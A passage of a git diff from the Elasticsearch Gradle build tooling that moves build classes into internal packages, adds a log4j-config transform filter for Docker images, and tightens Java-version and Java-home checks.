org.elasticsearch.gradle.internal.docker; import org.elasticsearch.gradle.Version; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.internal.info.BuildParams; import org.gradle.api.GradleException; import org.gradle.api.logging.Logger; import org.gradle.api.logging.Logging; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/ShellRetry.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/ShellRetry.java similarity index 96% rename from buildSrc/src/main/java/org/elasticsearch/gradle/docker/ShellRetry.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/ShellRetry.java index e85f0854cd502..5286a3af24619 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/docker/ShellRetry.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/ShellRetry.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.docker; +package org.elasticsearch.gradle.internal.docker; /** * The methods in this class take a shell command and wrap it in retry logic, so that our diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/TransformLog4jConfigFilter.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/TransformLog4jConfigFilter.java new file mode 100644 index 0000000000000..a8aa68641fd37 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/docker/TransformLog4jConfigFilter.java @@ -0,0 +1,132 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.docker; + +import org.apache.commons.io.IOUtils; + +import java.io.FilterReader; +import java.io.IOException; +import java.io.Reader; +import java.io.StringReader; +import java.util.ArrayList; +import java.util.List; + +public class TransformLog4jConfigFilter extends FilterReader { + public TransformLog4jConfigFilter(Reader in) throws IOException { + super(new StringReader(transform(in))); + } + + private static String transform(Reader reader) throws IOException { + final List inputLines = IOUtils.readLines(reader); + final List outputLines = skipBlanks(transformConfig(inputLines)); + return String.join("\n", outputLines); + } + + /** Squeeze multiple empty lines into a single line. */ + static List skipBlanks(List lines) { + boolean skipNextEmpty = false; + + final List output = new ArrayList<>(lines.size()); + + for (final String line : lines) { + if (line.isEmpty()) { + if (skipNextEmpty) { + continue; + } else { + skipNextEmpty = true; + } + } else { + skipNextEmpty = false; + } + + output.add(line); + } + + return output; + } + + static List transformConfig(List lines) { + final List output = new ArrayList<>(lines.size()); + + // This flag provides a way to handle properties whose values are split + // over multiple lines and we need to omit those properties. + boolean skipNext = false; + + for (String line : lines) { + if (skipNext) { + if (line.endsWith("\\") == false) { + skipNext = false; + } + continue; + } + + // Skip lines with this comment - we remove the relevant config + if (line.contains("old style pattern")) { + skipNext = line.endsWith("\\"); + continue; + } + + if (line.startsWith("appender.")) { + String[] parts = line.split("\\s*=\\s*"); + String key = parts[0]; + String[] keyParts = key.split("\\."); + String value = parts[1]; + + // We don't need to explicitly define a console appender because the + // "rolling" appender will become a console appender. We also don't + // carry over "*_old" appenders + if (keyParts[1].equals("console") || keyParts[1].endsWith("_old")) { + skipNext = line.endsWith("\\"); + continue; + } + + switch (keyParts[2]) { + case "type": + if (value.equals("RollingFile")) { + value = "Console"; + } + line = key + " = " + value; + break; + + case "fileName": + case "filePattern": + case "policies": + case "strategy": + // No longer applicable. Omit it. + skipNext = line.endsWith("\\"); + continue; + + default: + break; + } + } else if (line.startsWith("rootLogger.appenderRef")) { + String[] parts = line.split("\\s*=\\s*"); + + // The root logger only needs this appender + if (parts[1].equals("rolling") == false) { + skipNext = line.endsWith("\\"); + continue; + } + } else if (line.startsWith("logger.")) { + String[] parts = line.split("\\s*=\\s*"); + String key = parts[0]; + String[] keyParts = key.split("\\."); + + if (keyParts[2].equals("appenderRef") && keyParts[3].endsWith("_old")) { + skipNext = line.endsWith("\\"); + continue; + } + } + + output.add(line); + } + + return output; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/info/BuildParams.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/BuildParams.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/info/BuildParams.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/BuildParams.java index 48e76a1b51898..7a36bc7e73688 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/info/BuildParams.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/BuildParams.java @@ -5,9 +5,9 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.info; +package org.elasticsearch.gradle.internal.info; -import org.elasticsearch.gradle.BwcVersions; +import org.elasticsearch.gradle.internal.BwcVersions; import org.gradle.api.JavaVersion; import java.io.File; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/info/GlobalBuildInfoPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/GlobalBuildInfoPlugin.java similarity index 88% rename from buildSrc/src/main/java/org/elasticsearch/gradle/info/GlobalBuildInfoPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/GlobalBuildInfoPlugin.java index b2bf9869eb541..e7a28fbcb5bfa 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/info/GlobalBuildInfoPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/GlobalBuildInfoPlugin.java @@ -5,25 +5,26 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.info; +package org.elasticsearch.gradle.internal.info; import org.apache.commons.io.IOUtils; -import org.elasticsearch.gradle.BwcVersions; +import org.elasticsearch.gradle.internal.BwcVersions; import org.elasticsearch.gradle.OS; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.GradleException; import org.gradle.api.JavaVersion; import org.gradle.api.Plugin; import org.gradle.api.Project; import org.gradle.api.logging.Logger; import org.gradle.api.logging.Logging; +import org.gradle.api.provider.Provider; import org.gradle.api.provider.ProviderFactory; import org.gradle.internal.jvm.Jvm; import org.gradle.internal.jvm.inspection.JvmInstallationMetadata; import org.gradle.internal.jvm.inspection.JvmMetadataDetector; import org.gradle.internal.jvm.inspection.JvmVendor; import org.gradle.jvm.toolchain.internal.InstallationLocation; -import org.gradle.jvm.toolchain.internal.SharedJavaInstallationRegistry; +import org.gradle.jvm.toolchain.internal.JavaInstallationRegistry; import org.gradle.util.GradleVersion; import javax.inject.Inject; @@ -57,13 +58,13 @@ public class GlobalBuildInfoPlugin implements Plugin { private static final String DEFAULT_VERSION_JAVA_FILE_PATH = "server/src/main/java/org/elasticsearch/Version.java"; private static Integer _defaultParallel = null; - private final SharedJavaInstallationRegistry javaInstallationRegistry; + private final JavaInstallationRegistry javaInstallationRegistry; private final JvmMetadataDetector metadataDetector; private final ProviderFactory providers; @Inject public GlobalBuildInfoPlugin( - SharedJavaInstallationRegistry javaInstallationRegistry, + JavaInstallationRegistry javaInstallationRegistry, JvmMetadataDetector metadataDetector, ProviderFactory providers ) { @@ -118,6 +119,9 @@ public void apply(Project project) { } }); + // When building Elasticsearch, enforce the minimum compiler version + BuildParams.withInternalBuild(() -> assertMinimumCompilerVersion(minimumCompilerVersion)); + // Print global build info header just before task execution project.getGradle().getTaskGraph().whenReady(graph -> logGlobalBuildInfo()); } @@ -147,20 +151,21 @@ private void logGlobalBuildInfo() { final Jvm gradleJvm = Jvm.current(); JvmInstallationMetadata gradleJvmMetadata = metadataDetector.getMetadata(gradleJvm.getJavaHome()); final String gradleJvmVendorDetails = gradleJvmMetadata.getVendor().getDisplayName(); + final String gradleJvmImplementationVersion = gradleJvmMetadata.getImplementationVersion(); LOGGER.quiet("======================================="); LOGGER.quiet("Elasticsearch Build Hamster says Hello!"); LOGGER.quiet(" Gradle Version : " + GradleVersion.current().getVersion()); LOGGER.quiet(" OS Info : " + osName + " " + osVersion + " (" + osArch + ")"); if (BuildParams.getIsRuntimeJavaHomeSet()) { - final String runtimeJvmVendorDetails = metadataDetector.getMetadata(BuildParams.getRuntimeJavaHome()) - .getVendor() - .getDisplayName(); - LOGGER.quiet(" Runtime JDK Version : " + BuildParams.getRuntimeJavaVersion() + " (" + runtimeJvmVendorDetails + ")"); + JvmInstallationMetadata runtimeJvm = metadataDetector.getMetadata(BuildParams.getRuntimeJavaHome()); + final String runtimeJvmVendorDetails = runtimeJvm.getVendor().getDisplayName(); + final String runtimeJvmImplementationVersion = runtimeJvm.getImplementationVersion(); + LOGGER.quiet(" Runtime JDK Version : " + runtimeJvmImplementationVersion + " (" + runtimeJvmVendorDetails + ")"); LOGGER.quiet(" Runtime java.home : " + BuildParams.getRuntimeJavaHome()); - LOGGER.quiet(" Gradle JDK Version : " + gradleJvm.getJavaVersion() + " (" + gradleJvmVendorDetails + ")"); + LOGGER.quiet(" Gradle JDK Version : " + gradleJvmImplementationVersion + " (" + gradleJvmVendorDetails + ")"); LOGGER.quiet(" Gradle java.home : " + gradleJvm.getJavaHome()); } else { - LOGGER.quiet(" JDK Version : " + gradleJvm.getJavaVersion() + " (" + gradleJvmVendorDetails + ")"); + LOGGER.quiet(" JDK Version : " + gradleJvmImplementationVersion + " (" + gradleJvmVendorDetails + ")"); LOGGER.quiet(" JAVA_HOME : " + gradleJvm.getJavaHome()); } LOGGER.quiet(" Random Testing Seed : " + BuildParams.getTestSeed()); @@ -186,7 +191,7 @@ private JavaVersion determineJavaVersion(String description, File javaHome, Java private InstallationLocation getJavaInstallation(File javaHome) { return getAvailableJavaInstallationLocationSteam().filter(installationLocation -> isSameFile(javaHome, installationLocation)) .findFirst() - .get(); + .orElseThrow(() -> new GradleException("Could not locate available Java installation in Gradle registry at: " + javaHome)); } private boolean isSameFile(File javaHome, InstallationLocation installationLocation) { @@ -242,7 +247,16 @@ private static void throwInvalidJavaHomeException(String description, File javaH throw new GradleException(message); } - private static File findRuntimeJavaHome() { + private static void assertMinimumCompilerVersion(JavaVersion minimumCompilerVersion) { + JavaVersion currentVersion = Jvm.current().getJavaVersion(); + if (minimumCompilerVersion.compareTo(currentVersion) > 0) { + throw new GradleException( + "Project requires Java version of " + minimumCompilerVersion + " or newer but Gradle JAVA_HOME is " + currentVersion + ); + } + } + + private File findRuntimeJavaHome() { String runtimeJavaProperty = System.getProperty("runtime.java"); if (runtimeJavaProperty != null) { @@ -252,8 +266,24 @@ private static File findRuntimeJavaHome() { return System.getenv("RUNTIME_JAVA_HOME") == null ? Jvm.current().getJavaHome() : new File(System.getenv("RUNTIME_JAVA_HOME")); } - private static String findJavaHome(String version) { - String versionedJavaHome = System.getenv(getJavaHomeEnvVarName(version)); + private String findJavaHome(String version) { + Provider javaHomeNames = providers.gradleProperty("org.gradle.java.installations.fromEnv").forUseAtConfigurationTime(); + String javaHomeEnvVar = getJavaHomeEnvVarName(version); + + // Provide a useful error if we're looking for a Java home version that we haven't told Gradle about yet + Arrays.stream(javaHomeNames.get().split(",")) + .filter(s -> s.equals(javaHomeEnvVar)) + .findFirst() + .orElseThrow( + () -> new GradleException( + "Environment variable '" + + javaHomeEnvVar + + "' is not registered with Gradle installation supplier. Ensure 'org.gradle.java.installations.fromEnv' is " + + "updated in gradle.properties file." + ) + ); + + String versionedJavaHome = System.getenv(javaHomeEnvVar); if (versionedJavaHome == null) { final String exceptionMessage = String.format( Locale.ROOT, @@ -261,7 +291,7 @@ private static String findJavaHome(String version) { + "Note that if the variable was just set you " + "might have to run `./gradlew --stop` for " + "it to be picked up. See https://github.com/elastic/elasticsearch/issues/31399 details.", - getJavaHomeEnvVarName(version) + javaHomeEnvVar ); throw new GradleException(exceptionMessage); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/info/JavaHome.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/JavaHome.java similarity index 94% rename from buildSrc/src/main/java/org/elasticsearch/gradle/info/JavaHome.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/JavaHome.java index 056fac19bf399..ad64528f88397 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/info/JavaHome.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/info/JavaHome.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.info; +package org.elasticsearch.gradle.internal.info; import org.gradle.api.provider.Provider; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/CheckstylePrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/CheckstylePrecommitPlugin.java index 8c89ab7f30931..b03a0d2c50532 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/CheckstylePrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/CheckstylePrecommitPlugin.java @@ -11,7 +11,7 @@ import org.elasticsearch.gradle.VersionProperties; import org.elasticsearch.gradle.internal.InternalPlugin; import org.elasticsearch.gradle.precommit.PrecommitPlugin; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.Action; import org.gradle.api.Project; import org.gradle.api.Task; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTask.java index 67ad376fa1fa0..4777b51398b7f 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTask.java @@ -8,8 +8,7 @@ package org.elasticsearch.gradle.internal.precommit; import org.apache.commons.codec.binary.Hex; -import org.elasticsearch.gradle.precommit.LicenseAnalyzer; -import org.elasticsearch.gradle.precommit.LicenseAnalyzer.LicenseInfo; +import org.elasticsearch.gradle.internal.precommit.LicenseAnalyzer.LicenseInfo; import org.gradle.api.DefaultTask; import org.gradle.api.GradleException; import org.gradle.api.InvalidUserDataException; @@ -120,15 +119,15 @@ public class DependencyLicensesTask extends DefaultTask { * the LICENSE and NOTICE file for that jar. */ public void mapping(Map props) { - String from = props.remove("from"); + String from = props.get("from"); if (from == null) { throw new InvalidUserDataException("Missing \"from\" setting for license name mapping"); } - String to = props.remove("to"); + String to = props.get("to"); if (to == null) { throw new InvalidUserDataException("Missing \"to\" setting for license name mapping"); } - if (props.isEmpty() == false) { + if (props.size() > 2) { throw new InvalidUserDataException("Unknown properties for mapping on dependencyLicenses: " + props.keySet()); } mappings.put(from, to); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsPrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsPrecommitPlugin.java index 0d094d4bcfb27..a371fc38cfcd4 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsPrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsPrecommitPlugin.java @@ -21,6 +21,7 @@ public class FilePermissionsPrecommitPlugin extends PrecommitPlugin implements InternalPlugin { + public static final String FILEPERMISSIONS_TASK_NAME = "filepermissions"; private ProviderFactory providerFactory; @Inject @@ -32,7 +33,7 @@ public FilePermissionsPrecommitPlugin(ProviderFactory providerFactory) { public TaskProvider createTask(Project project) { return project.getTasks() .register( - "filepermissions", + FILEPERMISSIONS_TASK_NAME, FilePermissionsTask.class, filePermissionsTask -> filePermissionsTask.getSources() .addAll( diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenApisPrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenApisPrecommitPlugin.java index 5b40ef38b97b1..ce74a0450e34f 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenApisPrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenApisPrecommitPlugin.java @@ -11,8 +11,8 @@ import de.thetaphi.forbiddenapis.gradle.CheckForbiddenApis; import de.thetaphi.forbiddenapis.gradle.ForbiddenApisPlugin; import groovy.lang.Closure; -import org.elasticsearch.gradle.ExportElasticsearchBuildResourcesTask; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.internal.ExportElasticsearchBuildResourcesTask; +import org.elasticsearch.gradle.internal.info.BuildParams; import org.elasticsearch.gradle.internal.InternalPlugin; import org.elasticsearch.gradle.precommit.PrecommitPlugin; import org.elasticsearch.gradle.util.GradleUtils; @@ -44,6 +44,7 @@ public TaskProvider createTask(Project project) { t.copy("forbidden/es-test-signatures.txt"); t.copy("forbidden/http-signatures.txt"); t.copy("forbidden/es-server-signatures.txt"); + t.copy("forbidden/snakeyaml-signatures.txt"); }); project.getTasks().withType(CheckForbiddenApis.class).configureEach(t -> { t.dependsOn(resourcesTask); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsPrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsPrecommitPlugin.java index 2e590ebdfe567..b26a2b109abec 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsPrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsPrecommitPlugin.java @@ -21,6 +21,7 @@ public class ForbiddenPatternsPrecommitPlugin extends PrecommitPlugin implements InternalPlugin { + public static final String FORBIDDEN_PATTERNS_TASK_NAME = "forbiddenPatterns"; private final ProviderFactory providerFactory; @Inject @@ -30,7 +31,7 @@ public ForbiddenPatternsPrecommitPlugin(ProviderFactory providerFactory) { @Override public TaskProvider createTask(Project project) { - return project.getTasks().register("forbiddenPatterns", ForbiddenPatternsTask.class, forbiddenPatternsTask -> { + return project.getTasks().register(FORBIDDEN_PATTERNS_TASK_NAME, ForbiddenPatternsTask.class, forbiddenPatternsTask -> { forbiddenPatternsTask.getSourceFolders() .addAll( providerFactory.provider( diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/InternalPrecommitTasks.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/InternalPrecommitTasks.java index de413d2c6c670..d74c03fc161c1 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/InternalPrecommitTasks.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/InternalPrecommitTasks.java @@ -8,8 +8,8 @@ package org.elasticsearch.gradle.internal.precommit; +import org.elasticsearch.gradle.internal.info.BuildParams; import org.elasticsearch.gradle.precommit.PrecommitTasks; -import org.elasticsearch.gradle.precommit.ThirdPartyAuditPrecommitPlugin; import org.gradle.api.Project; /** @@ -22,7 +22,12 @@ public class InternalPrecommitTasks { */ public static void create(Project project, boolean includeDependencyLicenses) { PrecommitTasks.create(project); - + if (BuildParams.isInternal() && project.getPath().equals(":libs:elasticsearch-core") == false) { + // ideally we would configure this as a default dependency. But Default dependencies do not work correctly + // with gradle project dependencies as they're resolved to late in the build and don't setup according task + // dependencies properly + project.getDependencies().add("jarHell", project.project(":libs:elasticsearch-core")); + } project.getPluginManager().apply(ThirdPartyAuditPrecommitPlugin.class); project.getPluginManager().apply(CheckstylePrecommitPlugin.class); project.getPluginManager().apply(ForbiddenApisPrecommitPlugin.class); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/LicenseAnalyzer.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/LicenseAnalyzer.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/precommit/LicenseAnalyzer.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/LicenseAnalyzer.java index 59d4362d3d1e2..725fe0608337e 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/LicenseAnalyzer.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/LicenseAnalyzer.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.precommit; +package org.elasticsearch.gradle.internal.precommit; import java.io.File; import java.io.IOException; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/LoggerUsagePrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/LoggerUsagePrecommitPlugin.java index e359c5f57b77c..1f1e458f97cd2 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/LoggerUsagePrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/LoggerUsagePrecommitPlugin.java @@ -19,7 +19,11 @@ public class LoggerUsagePrecommitPlugin extends PrecommitPlugin implements Inter @Override public TaskProvider createTask(Project project) { Configuration loggerUsageConfig = project.getConfigurations().create("loggerUsagePlugin"); - project.getDependencies().add("loggerUsagePlugin", project.project(":test:logger-usage")); + // this makes it easier to test by not requiring this project to be always available in our + // test sample projects + if (project.findProject(":test:logger-usage") != null) { + project.getDependencies().add("loggerUsagePlugin", project.project(":test:logger-usage")); + } TaskProvider loggerUsage = project.getTasks().register("loggerUsageCheck", LoggerUsageTask.class); loggerUsage.configure(t -> t.setClasspath(loggerUsageConfig)); return loggerUsage; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PomValidationPrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/PomValidationPrecommitPlugin.java similarity index 91% rename from buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PomValidationPrecommitPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/PomValidationPrecommitPlugin.java index 0991f17e60ed6..752b73f9c5fa9 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PomValidationPrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/PomValidationPrecommitPlugin.java @@ -6,9 +6,10 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.precommit; +package org.elasticsearch.gradle.internal.precommit; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.precommit.PrecommitPlugin; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.Project; import org.gradle.api.Task; import org.gradle.api.publish.PublishingExtension; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PomValidationTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/PomValidationTask.java similarity index 96% rename from buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PomValidationTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/PomValidationTask.java index fac420b90dfd8..f421c6fc10abf 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/PomValidationTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/PomValidationTask.java @@ -6,10 +6,11 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.precommit; +package org.elasticsearch.gradle.internal.precommit; import org.apache.maven.model.Model; import org.apache.maven.model.io.xpp3.MavenXpp3Reader; +import org.elasticsearch.gradle.precommit.PrecommitTask; import org.gradle.api.GradleException; import org.gradle.api.file.RegularFileProperty; import org.gradle.api.tasks.InputFile; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/TestingConventionsTasks.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/TestingConventionsTasks.java index 75e9957ffb807..7e4e18b49ec29 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/TestingConventionsTasks.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/TestingConventionsTasks.java @@ -9,7 +9,7 @@ import groovy.lang.Closure; import org.elasticsearch.gradle.util.GradleUtils; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.DefaultTask; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Task; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditPrecommitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ThirdPartyAuditPrecommitPlugin.java similarity index 92% rename from buildSrc/src/main/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditPrecommitPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ThirdPartyAuditPrecommitPlugin.java index 0b511461b4206..305571b6d9ff4 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditPrecommitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ThirdPartyAuditPrecommitPlugin.java @@ -6,12 +6,13 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.precommit; +package org.elasticsearch.gradle.internal.precommit; -import org.elasticsearch.gradle.ExportElasticsearchBuildResourcesTask; +import org.elasticsearch.gradle.internal.ExportElasticsearchBuildResourcesTask; import org.elasticsearch.gradle.dependencies.CompileOnlyResolvePlugin; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.internal.info.BuildParams; import org.elasticsearch.gradle.internal.InternalPlugin; +import org.elasticsearch.gradle.precommit.PrecommitPlugin; import org.gradle.api.Project; import org.gradle.api.Task; import org.gradle.api.artifacts.Configuration; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ThirdPartyAuditTask.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ThirdPartyAuditTask.java index eeecb2f143ba8..99397f72a6bb8 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ThirdPartyAuditTask.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.precommit; +package org.elasticsearch.gradle.internal.precommit; import de.thetaphi.forbiddenapis.cli.CliMain; import org.apache.commons.io.output.NullOutputStream; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ValidateRestSpecPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ValidateRestSpecPlugin.java index 4a12949726c2d..138b3148dce89 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ValidateRestSpecPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/precommit/ValidateRestSpecPlugin.java @@ -9,7 +9,7 @@ package org.elasticsearch.gradle.internal.precommit; import org.elasticsearch.gradle.internal.InternalPlugin; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.Project; import org.gradle.api.provider.Provider; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/RestCompatTestTransformTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/RestCompatTestTransformTask.java index a5c5ee04ba716..74a870cbdd1fa 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/RestCompatTestTransformTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/RestCompatTestTransformTask.java @@ -14,18 +14,28 @@ import com.fasterxml.jackson.databind.ObjectWriter; import com.fasterxml.jackson.databind.SequenceWriter; import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.node.TextNode; import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; import com.fasterxml.jackson.dataformat.yaml.YAMLParser; import org.elasticsearch.gradle.Version; import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransform; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransformer; -import org.elasticsearch.gradle.test.rest.transform.headers.InjectHeaders; -import org.elasticsearch.gradle.test.rest.transform.match.AddMatch; -import org.elasticsearch.gradle.test.rest.transform.match.RemoveMatch; -import org.elasticsearch.gradle.test.rest.transform.match.ReplaceMatch; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformer; +import org.elasticsearch.gradle.internal.test.rest.transform.do_.ReplaceKeyInDo; +import org.elasticsearch.gradle.internal.test.rest.transform.headers.InjectHeaders; +import org.elasticsearch.gradle.internal.test.rest.transform.length.ReplaceKeyInLength; +import org.elasticsearch.gradle.internal.test.rest.transform.match.AddMatch; +import org.elasticsearch.gradle.internal.test.rest.transform.match.RemoveMatch; +import org.elasticsearch.gradle.internal.test.rest.transform.match.ReplaceKeyInMatch; +import org.elasticsearch.gradle.internal.test.rest.transform.match.ReplaceValueInMatch; +import org.elasticsearch.gradle.internal.test.rest.transform.text.ReplaceIsFalse; +import org.elasticsearch.gradle.internal.test.rest.transform.text.ReplaceIsTrue; +import org.elasticsearch.gradle.internal.test.rest.transform.warnings.InjectAllowedWarnings; +import org.elasticsearch.gradle.internal.test.rest.transform.warnings.InjectWarnings; +import org.elasticsearch.gradle.internal.test.rest.transform.warnings.RemoveWarnings; import org.gradle.api.DefaultTask; import org.gradle.api.file.DirectoryProperty; +import org.gradle.api.file.FileSystemOperations; import org.gradle.api.file.FileTree; import org.gradle.api.model.ObjectFactory; import 